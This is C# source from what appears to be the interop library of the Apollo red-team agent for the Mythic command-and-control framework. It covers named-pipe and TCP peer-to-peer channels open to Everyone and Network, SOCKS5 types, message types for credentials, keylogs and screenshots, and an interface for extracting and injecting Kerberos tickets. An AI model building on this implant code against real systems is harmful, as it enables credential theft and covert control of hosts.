using ApolloInterop.Structs.MythicStructs;
using System.Collections.Concurrent;
namespace ApolloInterop.Classes.P2P
{
public abstract class PeerManager : IPeerManager
{
protected ConcurrentDictionary<string, IPeer> _peers = new ConcurrentDictionary<string, IPeer>();
protected IAgent _agent;
public PeerManager(IAgent agent)
{
_agent = agent;
}
public abstract Peer AddPeer(PeerInformation info);
public virtual bool Remove(string uuid)
{
bool bRet = true;
if (_peers.ContainsKey(uuid))
{
bRet = _peers.TryRemove(uuid, out var p);
if (bRet)
{
p.Stop();
}
}
return bRet;
}
public virtual bool Remove(IPeer peer)
{
return Remove(peer.GetUUID());
}
public abstract bool Route(DelegateMessage msg);
}
}
@@ -0,0 +1,106 @@
using ApolloInterop.Constants;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.IO.Pipes;
namespace ApolloInterop.Classes
{
public class AsyncNamedPipeClient
{
private readonly NamedPipeClientStream _pipe;
public event EventHandler<NamedPipeMessageArgs> MessageReceived;
public event EventHandler<NamedPipeMessageArgs> ConnectionEstablished;
public event EventHandler<NamedPipeMessageArgs> Disconnect;
public AsyncNamedPipeClient(string host, string pipename)
{
_pipe = new NamedPipeClientStream(
host,
pipename,
PipeDirection.InOut,
PipeOptions.Asynchronous | PipeOptions.WriteThrough
);
}
public bool Connect(Int32 msTimeout)
{
try
{
_pipe.Connect(msTimeout);
// Client times out, so fail.
} catch { return false; }
_pipe.ReadMode = PipeTransmissionMode.Message;
IPCData pd = new IPCData()
{
Pipe = _pipe,
State = _pipe,
Data = new byte[IPC.RECV_SIZE],
};
OnConnectionEstablished(new NamedPipeMessageArgs(_pipe, pd, pd.State));
BeginRead(pd);
return true;
}
public void BeginRead(IPCData pd)
{
bool isConnected = pd.Pipe.IsConnected;
if (isConnected)
{
try
{
pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
} catch (Exception ex)
{
DebugHelp.DebugWriteLine($"got exception for named pipe: {ex}");
isConnected = false;
}
}
if (!isConnected)
{
pd.Pipe.Close();
DebugHelp.DebugWriteLine($"disconnecting on named pipe");
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
}
}
private void OnAsyncMessageReceived(IAsyncResult result)
{
// read from client until complete
IPCData pd = (IPCData)result.AsyncState;
try{
Int32 bytesRead = pd.Pipe.EndRead(result);
if (bytesRead > 0)
{
pd.DataLength = bytesRead;
OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
} else
{
DebugHelp.DebugWriteLine($"closing pipe in OnAsyncMessageReceived with 0 bytesRead");
pd.Pipe.Close();
}
BeginRead(pd);
}catch(Exception ex){
DebugHelp.DebugWriteLine($"error reading from named pipe: {ex}");
pd.Pipe.Close();
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
}
}
private void OnConnectionEstablished(NamedPipeMessageArgs args)
{
ConnectionEstablished?.Invoke(this, args);
}
private void OnMessageReceived(NamedPipeMessageArgs args)
{
MessageReceived?.Invoke(this, args);
}
private void OnDisconnect(NamedPipeMessageArgs args)
{
DebugHelp.DebugWriteLine($"OnDisconnect");
Disconnect?.Invoke(this, args);
}
}
}
@@ -0,0 +1,185 @@
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.Collections.Concurrent;
using System.IO.Pipes;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Threading;
using System.Threading.Tasks;
namespace ApolloInterop.Classes
{
public class AsyncNamedPipeServer
{
private bool _running = true;
private readonly string _pipeName;
private readonly PipeSecurity _pipeSecurity;
private readonly int _BUF_IN;
private readonly int _BUF_OUT;
private readonly int _maxInstances;
private ConcurrentDictionary<PipeStream, IPCData> _connections = new();
public event EventHandler<NamedPipeMessageArgs> ConnectionEstablished;
public event EventHandler<NamedPipeMessageArgs> MessageReceived;
public event EventHandler<NamedPipeMessageArgs> Disconnect;
public AsyncNamedPipeServer(string pipename, PipeSecurity ps = null, int instances=1, int BUF_IN=4096, int BUF_OUT=4096)
{
_pipeName = pipename;
_BUF_IN = BUF_IN;
_BUF_OUT = BUF_OUT;
_maxInstances = instances;
if (ps == null)
{
_pipeSecurity = new PipeSecurity();
PipeAccessRule multipleInstances = new PipeAccessRule(WindowsIdentity.GetCurrent().Name, PipeAccessRights.CreateNewInstance, AccessControlType.Allow);
PipeAccessRule everyoneAllowedRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow);
PipeAccessRule networkAllowRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.NetworkSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow);
_pipeSecurity.AddAccessRule(multipleInstances);
_pipeSecurity.AddAccessRule(everyoneAllowedRule);
_pipeSecurity.AddAccessRule(networkAllowRule);
}
for(int i = 0; i < _maxInstances; i++)
{
CreateServerPipe();
}
}
public void Stop()
{
_running = false;
foreach (var pipe in _connections.Keys)
{
pipe.Close();
}
while(true)
{
int count = _connections.Count;
if (count == 0)
break;
System.Threading.Thread.Sleep(5);
}
}
private void CreateServerPipe()
{
DebugHelp.DebugWriteLine($"Creating Named Pipe: {_pipeName}");
NamedPipeServerStream pipe = new NamedPipeServerStream(
_pipeName,
PipeDirection.InOut,
-1,
PipeTransmissionMode.Message,
PipeOptions.Asynchronous | PipeOptions.WriteThrough,
_BUF_IN,
_BUF_OUT,
_pipeSecurity
);
//NamedPipeServerStream pipe = new NamedPipeServerStream(_pipeName, PipeDirection.InOut, -1, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
// wait for client to connect async
try
{
pipe.BeginWaitForConnection(OnClientConnected, pipe);
}catch(Exception ex)
{
}
}
private bool IsPersistentConnectionAsync(NamedPipeServerStream pipeServer)
{
// Try to complete the read task within the timeout
var completedTask = Task.WhenAny(
Task.Delay(500)
);
return pipeServer.IsConnected;
}
private void OnConnect(NamedPipeMessageArgs args)
{
ConnectionEstablished?.Invoke(this, args);
}
private void OnMessageReceived(NamedPipeMessageArgs args)
{
MessageReceived?.Invoke(this, args);
}
private void OnDisconnect(NamedPipeMessageArgs args)
{
DebugHelp.DebugWriteLine($"Client disconnected from Named Pipe: {_pipeName}");
Disconnect?.Invoke(this, args);
}
private void OnClientConnected(IAsyncResult result)
{
// complete connection
NamedPipeServerStream pipe = (NamedPipeServerStream)result.AsyncState;
pipe.EndWaitForConnection(result);
DebugHelp.DebugWriteLine($"Client connected to Named Pipe: {_pipeName}");
if(!IsPersistentConnectionAsync(pipe))
{
pipe.Close();
}
// create client pipe structure
IPCData pd = new IPCData()
{
Pipe = pipe,
State = null,
Data = new byte[_BUF_IN],
};
// Add to connection list
if (_running && _connections.TryAdd(pipe, pd))
{
// Prep the next connection
CreateServerPipe();
OnConnect(new NamedPipeMessageArgs(pipe, null, this));
BeginRead(pd);
} else
{
pipe.Close();
}
}
private void BeginRead(IPCData pd)
{
bool isConnected = pd.Pipe.IsConnected;
if (isConnected)
{
try
{
pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
} catch (Exception ex)
{
isConnected = false;
}
}
if (!isConnected)
{
pd.Pipe.Close();
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
_connections.TryRemove(pd.Pipe, out IPCData nullobj);
}
}
private void OnAsyncMessageReceived(IAsyncResult result)
{
// read from client until complete
IPCData pd = (IPCData)result.AsyncState;
Int32 bytesRead = pd.Pipe.EndRead(result);
if (bytesRead > 0)
{
pd.DataLength = bytesRead;
OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
}
BeginRead(pd);
}
}
}
@@ -0,0 +1,21 @@
using ApolloInterop.Structs.ApolloStructs;
using System;
using System.IO.Pipes;
namespace ApolloInterop.Classes
{
public class NamedPipeMessageArgs : EventArgs
{
public PipeStream Pipe;
public IPCData Data;
public Object State;
public NamedPipeMessageArgs(PipeStream pipe, IPCData? data, Object state)
{
Pipe = pipe;
if (data != null)
Data = (IPCData)data;
State = state;
}
}
}
@@ -0,0 +1,149 @@
using ApolloInterop.Constants;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.Net;
using System.Net.Sockets;
namespace ApolloInterop.Classes
{
public class AsyncTcpClient
{
private readonly TcpClient _client;
private readonly string _host;
private readonly int _port;
private readonly IPAddress _addr = null;
private readonly bool _clientConnectionSupplied;
public event EventHandler<TcpMessageEventArgs> ConnectionEstablished;
public event EventHandler<TcpMessageEventArgs> MessageReceived;
public event EventHandler<TcpMessageEventArgs> Disconnect;
public AsyncTcpClient(string host, int port)
{
_client = new TcpClient();
_host = host;
_port = port;
_clientConnectionSupplied = false;
}
public AsyncTcpClient(IPAddress host, int port)
{
_client = new TcpClient();
_addr = host;
_port = port;
_clientConnectionSupplied = false;
}
public AsyncTcpClient(TcpClient client)
{
_client = client;
_clientConnectionSupplied = true;
}
public bool Connect()
{
if (!_clientConnectionSupplied)
{
try
{
if (_addr == null)
{
_client.Connect(_host, _port);
}
else
{
_client.Connect(_addr, _port);
}
// Client times out, so fail.
}
catch { return false; }
}
// we set pipe to be message transactions ; don't think we need to for tcp
IPCData pd = new IPCData()
{
Client = _client,
State = _client,
NetworkStream = _client.GetStream(),
Data = new byte[IPC.RECV_SIZE],
};
pd.NetworkStream.ReadTimeout = -1;
OnConnect(new TcpMessageEventArgs(_client, pd, _client));
BeginRead(pd);
return true;
}
private void OnConnect(TcpMessageEventArgs args)
{
if (ConnectionEstablished != null)
{
ConnectionEstablished(this, args);
}
}
public void BeginRead(IPCData pd)
{
bool isConnected = pd.Client.Connected;
if (isConnected)
{
try
{
pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
}
catch (Exception ex)
{
isConnected = false;
}
}
if (!isConnected)
{
pd.Client.Close();
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
}
}
private void OnDisconnect(TcpMessageEventArgs args)
{
if (Disconnect != null)
{
Disconnect(this, args);
}
}
private void OnMessageReceived(TcpMessageEventArgs args)
{
if (MessageReceived != null)
{
MessageReceived(this, args);
}
}
private void OnAsyncMessageReceived(IAsyncResult result)
{
// read from client until complete
IPCData pd = (IPCData)result.AsyncState;
try
{
//DebugHelp.DebugWriteLine($"in OnAsyncMessageReceived in AsyncTcpClient");
Int32 bytesRead = pd.NetworkStream.EndRead(result);
if (bytesRead > 0)
{
pd.DataLength = bytesRead;
OnMessageReceived(new TcpMessageEventArgs(pd.Client, pd, pd.State));
} else
{
pd.Client.Close();
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
return;
}
} catch (Exception ex)
{
pd.Client.Close();
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
return;
}
BeginRead(pd);
}
}
}
@@ -0,0 +1,134 @@
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using System;
using System.Collections.Concurrent;
using System.Net;
using System.Net.Sockets;
namespace ApolloInterop.Classes
{
public class AsyncTcpServer
{
private readonly int _BUF_IN;
private readonly int _BUF_OUT;
private readonly int _port;
private readonly TcpListener _server;
private ConcurrentDictionary<TcpClient, IPCData> _connections = new ConcurrentDictionary<TcpClient, IPCData>();
public event EventHandler<TcpMessageEventArgs> ConnectionEstablished;
public event EventHandler<TcpMessageEventArgs> MessageReceived;
public event EventHandler<TcpMessageEventArgs> Disconnect;
private void OnConnect(object sender, TcpMessageEventArgs args) => ConnectionEstablished?.Invoke(sender, args);
private void OnMessageReceived(object sender, TcpMessageEventArgs args) => MessageReceived?.Invoke(sender, args);
private void OnDisconnect(object sender, TcpMessageEventArgs args) => Disconnect?.Invoke(sender, args);
private bool _running = true;
public AsyncTcpServer(int port, int BUF_IN = Constants.IPC.RECV_SIZE, int BUF_OUT = Constants.IPC.SEND_SIZE)
{
_BUF_IN = BUF_IN;
_BUF_OUT = BUF_OUT;
_port = port;
_server = new TcpListener(IPAddress.Any, port);
_server.Start();
_server.BeginAcceptTcpClient(OnClientConnected, _server);
}
public void Stop()
{
_running = false;
foreach (var client in _connections.Keys)
{
client.Close();
}
while (true)
{
int count = _connections.Count;
if (count == 0)
break;
System.Threading.Thread.Sleep(5);
}
}
private void OnClientConnected(IAsyncResult result)
{
// complete connection
TcpListener server = (TcpListener)result.AsyncState;
TcpClient client = server.EndAcceptTcpClient(result);
// create client pipe structure
IPCData pd = new IPCData()
{
Client = client,
NetworkStream = client.GetStream(),
State = null,
Data = new byte[_BUF_IN],
};
pd.NetworkStream.ReadTimeout = -1;
// Add to connection list
if (_running && _connections.TryAdd(client, pd))
{
_server.BeginAcceptTcpClient(OnClientConnected, _server);
OnConnect(this, new TcpMessageEventArgs(client, pd, this));
BeginRead(pd);
}
else
{
client.Close();
}
}
private void BeginRead(IPCData pd)
{
bool isConnected;
try
{
isConnected = pd.Client.Connected;
if (isConnected)
{
try
{
pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
}
catch (Exception ex)
{
isConnected = false;
}
}
} catch { isConnected = false; }
if (!isConnected)
{
pd.Client.Client?.Close();
OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State));
_connections.TryRemove(pd.Client, out IPCData _);
}
}
private void OnAsyncMessageReceived(IAsyncResult result)
{
// read from client until complete
IPCData pd = (IPCData)result.AsyncState;
try
{
Int32 bytesRead = pd.NetworkStream.EndRead(result);
if (bytesRead > 0)
{
pd.DataLength = bytesRead;
OnMessageReceived(this, new TcpMessageEventArgs(pd.Client, pd, pd.State));
} else
{
pd.Client.Close();
OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State));
return;
}
} catch (Exception ex)
{
pd.Client.Close();
}
BeginRead(pd);
}
}
}
@@ -0,0 +1,21 @@
using ApolloInterop.Structs.ApolloStructs;
using System;
using System.Net.Sockets;
namespace ApolloInterop.Classes
{
public class TcpMessageEventArgs : EventArgs
{
public TcpClient Client;
public IPCData Data;
public Object State;
public TcpMessageEventArgs(TcpClient client, IPCData? data, Object state)
{
Client = client;
if (data != null)
Data = (IPCData)data;
State = state;
}
}
}
@@ -0,0 +1,8 @@
namespace ApolloInterop.Constants
{
public static class IPC
{
public const int SEND_SIZE = 30000;
public const int RECV_SIZE = 30000;
}
}
@@ -0,0 +1,7 @@
namespace ApolloInterop.Constants
{
public static class SOCKS
{
public const int SUPPORTED_VERSION = 5;
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,91 @@
namespace ApolloInterop.Enums
{
namespace ApolloEnums
{
public enum Socks5Error
{
SuccessReply,
ServerFailure,
RuleFailure,
NetworkUnreachable,
HostUnreachable,
ConnectionRefused,
TtlExpired,
CommandNotSupported,
AddrTypeNotSupported,
}
public enum SocksVersion
{
Socks5 = 5
}
public enum Socks5AuthError
{
Success = 0,
Failure,
NoAcceptable = 255,
}
public enum Socks5AuthType
{
NoAuth = 0,
Version = 1, //????
UsernamePassword = 2,
}
public enum Socks5AddressType
{
IPv4 = 1,
FQDN = 3,
IPv6 = 4
}
public enum Socks5Command
{
Connect = 1,
Bind = 2,
Associate = 3
}
public enum MessageDirection
{
ToMythic = 0,
FromMythic = 1
}
public enum MessageType
{
C2ProfileData = 0,
Credential,
RemovedFileInformation,
FileInformation,
FileBrowser,
EdgeNode,
SocksDatagram,
Artifact,
TaskStatus,
TaskResponse,
DownloadRegistrationMessage,
DownloadProgressMessage,
Task,
DelegateMessage,
TaskingMessage,
EKEHandshakeMessage,
EKEHandshakeResponse,
CheckinMessage,
UploadMessage,
MessageResponse,
DownloadMessage,
FileBrowserACE,
IPCCommandArguments,
ExecutePEIPCMessage,
ProcessInformation,
CommandInformation,
ScreenshotInformation,
KeylogInformation,
CallbackUpdate,
CustomBrowser
}
}
}
@@ -0,0 +1,157 @@
using System;
namespace ApolloInterop.Enums
{
public static class Win32
{
public enum TokenType
{
TokenPrimary = 1,
TokenImpersonation
}
public enum TokenInformationClass
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin,
TokenElevationType,
TokenLinkedToken,
TokenElevation,
TokenHasRestrictions,
TokenAccessInformation,
TokenVirtualizationAllowed,
TokenVirtualizationEnabled,
TokenIntegrityLevel,
TokenUIAccess,
TokenMandatoryPolicy,
TokenLogonSid,
TokenIsAppContainer,
TokenCapabilities,
TokenAppContainerSid,
TokenAppContainerNumber,
TokenUserClaimAttributes,
TokenDeviceClaimAttributes,
TokenRestrictedUserClaimAttributes,
TokenRestrictedDeviceClaimAttributes,
TokenDeviceGroups,
TokenRestrictedDeviceGroups,
TokenSecurityAttributes,
TokenIsRestricted,
TokenProcessTrustLevel,
TokenPrivateNameSpace,
TokenSingletonAttributes,
TokenBnoIsolation,
TokenChildProcessFlags,
MaxTokenInfoClass,
TokenIsLessPrivilegedAppContainer,
TokenIsSandboxed,
TokenOriginatingProcessTrustLevel
}
[Flags]
public enum LogonType : UInt32
{
LOGON32_LOGON_INTERACTIVE = 2,
LOGON32_LOGON_NETWORK = 3,
LOGON32_LOGON_BATCH = 4,
LOGON32_LOGON_SERVICE = 5,
LOGON32_LOGON_UNLOCK = 7,
LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
LOGON32_LOGON_NEW_CREDENTIALS = 9,
LOGON32_REMOTE_INTERACTIVE = 10,
LOGON32_LOGON_CACHED_INTERACTIVE = 11,
}
public enum LogonProvider : UInt32
{
LOGON32_PROVIDER_DEFAULT = 0,
LOGON32_PROVIDER_WINNT35 = 1,
LOGON32_PROVIDER_WINNT40 = 2,
LOGON32_PROVIDER_WINNT50 = 3,
LOGON32_PROVIDER_VIRTUAL = 4
}
[Flags]
public enum STARTF : uint
{
STARTF_USESHOWWINDOW = 0x00000001,
STARTF_USESIZE = 0x00000002,
STARTF_USEPOSITION = 0x00000004,
STARTF_USECOUNTCHARS = 0x00000008,
STARTF_USEFILLATTRIBUTE = 0x00000010,
STARTF_RUNFULLSCREEN = 0x00000020, // ignored for non-x86 platforms
STARTF_FORCEONFEEDBACK = 0x00000040,
STARTF_FORCEOFFFEEDBACK = 0x00000080,
STARTF_USESTDHANDLES = 0x00000100,
}
[Flags]
public enum CreateProcessFlags
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
[Flags]
public enum ProcessAccessFlags : UInt32
{
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_DUP_HANDLE = 0x0040,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_QUERY_LIMITED_INFORMATION = 0x0200,
PROCESS_SET_QUOTA = 0x0100,
PROCESS_SUSPEND_RESUME = 0x0800,
PROCESS_TERMINATE = 0x0001,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020,
SYNCHRONIZE = 0x00100000,
PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF,
MAXIMUM_ALLOWED = 0x02000000
}
[Flags]
public enum DuplicateOptions : uint
{
DuplicateCloseSource = 0x00000001,
DuplicateSameAccess = 0x00000002
}
[Flags]
internal enum LogonFlags : uint
{
LOGON_WITH_PROFILE = 0x00000001,
LOGON_NETCREDENTIALS_ONLY = 0x00000002
}
}
}
@@ -0,0 +1,42 @@
using System.Collections.Generic;
using ApolloInterop.Structs.MythicStructs;
namespace ApolloInterop.Features.KerberosTickets;
/// <summary>
/// Should serve to manage kerberos tickets.
/// Any functions I want to enable calling from other modules like Tasks should be defined here.
/// </summary>
public interface ITicketManager
{
//artifact related functions
public List<Artifact> GetArtifacts();
//returns the current LUID
public string GetCurrentLuid();
public string GetTargetProcessLuid(int pid);
//should return a ticket with the .kirbi initalized with the ticket data
public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName);
//should return all tickets in the current LUID or all tickets if running as administrator
public List<KerberosTicket> EnumerateTicketsInCache(bool getSystemTickets = false, string luid = "");
//loads a ticket into memory and should be tracked by the agent session
public (bool, string) LoadTicketIntoCache(byte[] ticket, string luid);
//unloads a ticket from memory and should be removed from the agent session
public (bool, string) UnloadTicketFromCache(string serviceName, string domainName, string luid, bool All = false);
public KerberosTicket? GetTicketDetailsFromKirbi(byte[] kirbi);
//returns a list of tickets stored inside the ticket store (if any)
public List<KerberosTicketStoreDTO> GetTicketsFromTicketStore();
//adds a ticket to the ticket store
public void AddTicketToTicketStore(KerberosTicketStoreDTO ticket);
//removes a ticket from the ticket store
public bool RemoveTicketFromTicketStore(string serviceName, bool All = false);
}
@@ -0,0 +1,41 @@
using System;
namespace ApolloInterop.Features.KerberosTickets;
public record KerberosTicketDataDTO
{
public string Luid { get; private set; }
public string ClientFullName { get; private set; }
public string ServiceFullName { get; private set; }
public DateTime StartTime { get; private set; }
public DateTime EndTime { get; private set; }
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
public DateTime RenewTime { get; private set; }
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
public KerbEncType EncryptionType { get; private set; }
public KerbTicketFlags TicketFlags { get; private set; }
public string base64Ticket { get; private set; }
private KerberosTicketDataDTO() { }
public static KerberosTicketDataDTO CreateFromKerberosTicket(KerberosTicket ticket, string luid = "0x0")
{
return new KerberosTicketDataDTO
{
Luid = ticket.Luid.ToString() is "0x0" ? luid : ticket.Luid.ToString(),
ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}",
ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}",
StartTime = ticket.StartTime,
EndTime = ticket.EndTime,
RenewTime = ticket.RenewTime,
EncryptionType = ticket.EncryptionType,
TicketFlags = ticket.TicketFlags,
base64Ticket = Convert.ToBase64String(ticket.Kirbi)
};
}
}
@@ -0,0 +1,68 @@
using System;
using System.Runtime.Serialization;
namespace ApolloInterop.Features.KerberosTickets;
[DataContract]
public record KerberosTicketInfoDTO
{
[DataMember(Name = "luid")]
public string Luid { get; private set; }
[DataMember(Name = "current_luid")]
public string CurrentLuid {get; set; }
[DataMember(Name = "client_name")]
public string ClientName { get; private set; }
[DataMember(Name = "client_realm")]
public string ClientDomain { get; private set; }
public string ClientFullName => $"{ClientName}@{ClientDomain}";
[DataMember(Name = "service_name")]
public string ServiceName { get; private set; }
[DataMember(Name = "service_realm")]
public string ServiceDomain { get; private set; }
public string ServiceFullName => $"{ServiceName}@{ServiceDomain}";
[DataMember(Name = "start_time")]
public string StartTimeDisplay { get; private set; }
public DateTime StartTime { get; private set; }
[DataMember(Name = "end_time")]
public string EndTimeDisplay { get; private set; }
public DateTime EndTime { get; private set; }
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
[DataMember(Name = "renew_time")]
public string RenewTimeDisplay { get; private set; }
public DateTime RenewTime { get; private set; }
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
[DataMember(Name = "encryption_type")]
public string EncryptionTypeDisplay { get; private set; }
public KerbEncType EncryptionType { get; private set; }
[DataMember(Name = "ticket_flags")]
public string TicketFlagsDisplay { get; private set; }
public KerbTicketFlags TicketFlags { get; private set; }
private KerberosTicketInfoDTO() { }
public static KerberosTicketInfoDTO CreateFromKerberosTicket(KerberosTicket ticket)
{
return new KerberosTicketInfoDTO
{
Luid = ticket.Luid.ToString(),
ClientName = ticket.ClientName,
ClientDomain = ticket.ClientRealm,
ServiceName = ticket.ServerName,
ServiceDomain = ticket.ServerRealm,
StartTime = ticket.StartTime,
StartTimeDisplay = ticket.StartTime.ToString(),
EndTime = ticket.EndTime,
EndTimeDisplay = ticket.EndTime.ToString(),
RenewTime = ticket.RenewTime,
RenewTimeDisplay = ticket.RenewTime.ToString(),
EncryptionType = ticket.EncryptionType,
EncryptionTypeDisplay = ticket.EncryptionType.ToString(),
TicketFlags = ticket.TicketFlags,
TicketFlagsDisplay = ticket.TicketFlags.ToString(),
};
}
}
@@ -0,0 +1,55 @@
using System;
using System.Runtime.Serialization;
namespace ApolloInterop.Features.KerberosTickets;
//for the moment this is the same as the KerberosTicketDataDTO, but it will be used for the store so more / different fileds may be added that are unique to the store
[DataContract]
public record KerberosTicketStoreDTO
{
[DataMember(Name = "luid")]
public string Luid { get; private set; }
[DataMember(Name = "client_fullname")]
public string ClientFullName { get; private set; }
[DataMember(Name = "service_fullname")]
public string ServiceFullName { get; private set; }
[DataMember(Name = "start_time")]
public string StartTimeDisplay { get; private set; }
public DateTime StartTime;
[DataMember(Name = "end_time")]
public string EndTimeDisplay { get; private set; }
public DateTime EndTime;
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
[DataMember(Name = "renew_time")]
public string RenewTimeDisplay { get; private set; }
public DateTime RenewTime;
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
public KerbEncType EncryptionType;
[DataMember(Name = "encryption_type")]
public string EncryptionTypeDisplay { get; private set; }
[DataMember(Name = "ticket_flags")]
public string TicketFlagsDisplay { get; private set; }
public KerbTicketFlags TicketFlags;
[DataMember(Name = "ticket")]
public string base64Ticket { get; private set; }
public KerberosTicketStoreDTO(KerberosTicket ticket)
{
Luid = ticket.Luid.ToString();
ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}";
ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}";
StartTime = ticket.StartTime;
StartTimeDisplay = StartTime.ToString();
EndTime = ticket.EndTime;
EndTimeDisplay = EndTime.ToString();
RenewTime = ticket.RenewTime;
RenewTimeDisplay = RenewTime.ToString();
EncryptionType = ticket.EncryptionType;
EncryptionTypeDisplay = ticket.EncryptionType.ToString();
TicketFlags = ticket.TicketFlags;
TicketFlagsDisplay = ticket.TicketFlags.ToString();
base64Ticket = Convert.ToBase64String(ticket.Kirbi);
}
}
@@ -0,0 +1,307 @@
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
using ApolloInterop.Enums;
using ApolloInterop.Features.WindowsTypesAndAPIs;
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
using System.Runtime.Serialization;
namespace ApolloInterop.Features.KerberosTickets;
public record struct LogonSessionData
{
public LUID LogonId;
public string Username;
public string LogonDomain;
public string AuthenticationPackage;
public Win32.LogonType LogonType;
public int Session;
public SecurityIdentifier Sid;
public DateTime LogonTime;
public string LogonServer;
public string DnsDomainName;
public string Upn;
}
/// <summary>
/// Record type to represent a Kerberos ticket.
/// </summary>
[DataContract]
public record KerberosTicket
{
[DataMember(Name = "luid")]
public LUID Luid { get; set; }
public string LogonId => Luid.ToString();
[DataMember(Name = "ClientName")]
public string ClientName { get; set; }
[DataMember(Name = "ClientRealm")]
public string ClientRealm { get; set; }
public string ClientFullName => $"{ClientName}@{ClientRealm}";
[DataMember(Name = "ServerName")]
public string ServerName { get; set; }
[DataMember(Name = "ServerRealm")]
public string ServerRealm { get; set; }
public string ServerFullName => $"{ServerName}@{ServerRealm}";
[DataMember(Name = "StartTime")]
public DateTime StartTime { get; set; }
[DataMember(Name = "EndTime")]
public DateTime EndTime { get; set; }
[DataMember(Name = "RenewTime")]
public DateTime RenewTime { get; set; }
[DataMember(Name = "EncryptionType")]
public KerbEncType EncryptionType { get; set; }
[DataMember(Name = "TicketFlags")]
public KerbTicketFlags TicketFlags { get; set; }
public byte[] Kirbi { get; set; } = [];
}
public record struct KERB_QUERY_TKT_CACHE_RESPONSE
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public uint CountOfTickets;
public HANDLE<KERB_TICKET_CACHE_INFO_EX> Tickets; // seems this starts at a memory address which is one IntPrt size away from the start of the struct
}
public record struct KERB_QUERY_TKT_CACHE_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
}
public record struct KERB_RETRIEVE_TKT_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
public UNICODE_STRING TargetName;
public uint TicketFlags;
public KerbCacheOptions CacheOptions;
public KERB_CRYPTO_KEY_TYPE EncryptionType;
public SecHandle CredentialsHandle;
}
public struct KERB_RETRIEVE_TKT_RESPONSE
{
public KERB_EXTERNAL_TICKET Ticket;
}
public struct KERB_SUBMIT_TKT_REQUEST
{
